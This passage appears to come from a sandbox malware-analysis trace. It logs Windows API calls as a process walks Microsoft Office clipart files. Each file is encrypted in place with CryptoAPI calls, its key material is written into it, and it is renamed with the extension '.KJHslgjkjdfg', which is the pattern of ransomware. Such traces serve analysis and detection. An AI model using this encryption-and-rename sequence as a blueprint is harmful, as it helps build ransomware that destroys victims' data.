dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.952] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.953] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.957] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.957] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.957] GetProcessHeap () returned 0x2ef0000 [0231.957] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.957] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.957] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.957] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.958] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.958] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.958] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.958] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.958] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.958] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.958] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.958] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.958] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7aac, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7aac, lpOverlapped=0x0) returned 1 [0231.961] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ab0, dwBufLen=0x7ab0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ab0) returned 1 [0231.961] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.961] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7ab0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7ab0, lpOverlapped=0x0) returned 1 [0231.961] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.961] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7b84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.961] SetEndOfFile (hFile=0x130) returned 1 [0231.964] GetProcessHeap () returned 0x2ef0000 [0231.964] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.964] GetProcessHeap () returned 0x2ef0000 [0231.964] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.964] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf.kjhslgjkjdfg")) returned 1 [0231.966] CloseHandle (hObject=0x130) returned 1 [0231.966] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSRETRO.WMF", cAlternateFileName="")) returned 1 [0231.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.968] GetProcessHeap () returned 0x2ef0000 [0231.968] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.968] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.968] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.968] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0231.970] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.970] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.970] GetProcessHeap () returned 0x2ef0000 [0231.970] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.970] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.970] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.970] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.970] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.971] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.971] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.971] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.971] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.971] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.971] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.971] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.971] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3d6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3d6, lpOverlapped=0x0) returned 1 [0231.971] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3e0, dwBufLen=0x3e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3e0) returned 1 [0231.971] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.971] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3e0, lpOverlapped=0x0) returned 1 [0231.971] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.971] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.971] SetEndOfFile (hFile=0x130) returned 1 [0231.974] GetProcessHeap () returned 0x2ef0000 [0231.974] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.974] GetProcessHeap () returned 0x2ef0000 [0231.974] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.974] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf.kjhslgjkjdfg")) returned 1 [0231.975] CloseHandle (hObject=0x130) returned 1 [0231.975] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe0a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSSKETLG.WMF", cAlternateFileName="")) returned 1 [0231.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.978] GetProcessHeap () returned 0x2ef0000 [0231.978] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.978] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.978] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.978] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0231.980] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.980] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.980] GetProcessHeap () returned 0x2ef0000 [0231.980] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.980] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.980] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.980] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.980] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.980] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.980] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.980] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.980] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.981] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.981] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.981] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.981] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe0a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xe0a, lpOverlapped=0x0) returned 1 [0231.981] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe10, dwBufLen=0xe10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe10) returned 1 [0231.981] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.981] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xe10, lpOverlapped=0x0) returned 1 [0231.981] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.981] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.981] SetEndOfFile (hFile=0x130) returned 1 [0231.983] GetProcessHeap () returned 0x2ef0000 [0231.983] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.983] GetProcessHeap () returned 0x2ef0000 [0231.983] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.983] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf.kjhslgjkjdfg")) returned 1 [0231.985] CloseHandle (hObject=0x130) returned 1 [0231.985] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a7450f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x776, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSSKETSM.WMF", cAlternateFileName="")) returned 1 [0231.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.987] GetProcessHeap () returned 0x2ef0000 [0231.987] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.987] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.987] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.987] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0231.989] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.989] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.989] GetProcessHeap () returned 0x2ef0000 [0231.989] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.989] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.989] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.989] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.989] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.989] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.989] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.989] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.990] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.990] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.990] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.990] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.990] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x776, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x776, lpOverlapped=0x0) returned 1 [0231.990] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x780, dwBufLen=0x780 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x780) returned 1 [0231.990] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.990] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x780, lpOverlapped=0x0) returned 1 [0231.990] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.990] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.990] SetEndOfFile (hFile=0x130) returned 1 [0231.993] GetProcessHeap () returned 0x2ef0000 [0231.993] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.993] GetProcessHeap () returned 0x2ef0000 [0231.993] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.993] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf.kjhslgjkjdfg")) returned 1 [0231.994] CloseHandle (hObject=0x130) returned 1 [0231.994] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d0aad90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb12, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSWAVY.WMF", cAlternateFileName="")) returned 1 [0231.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.996] GetProcessHeap () returned 0x2ef0000 [0231.996] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.996] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.996] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.996] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0231.999] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.999] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.999] GetProcessHeap () returned 0x2ef0000 [0231.999] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 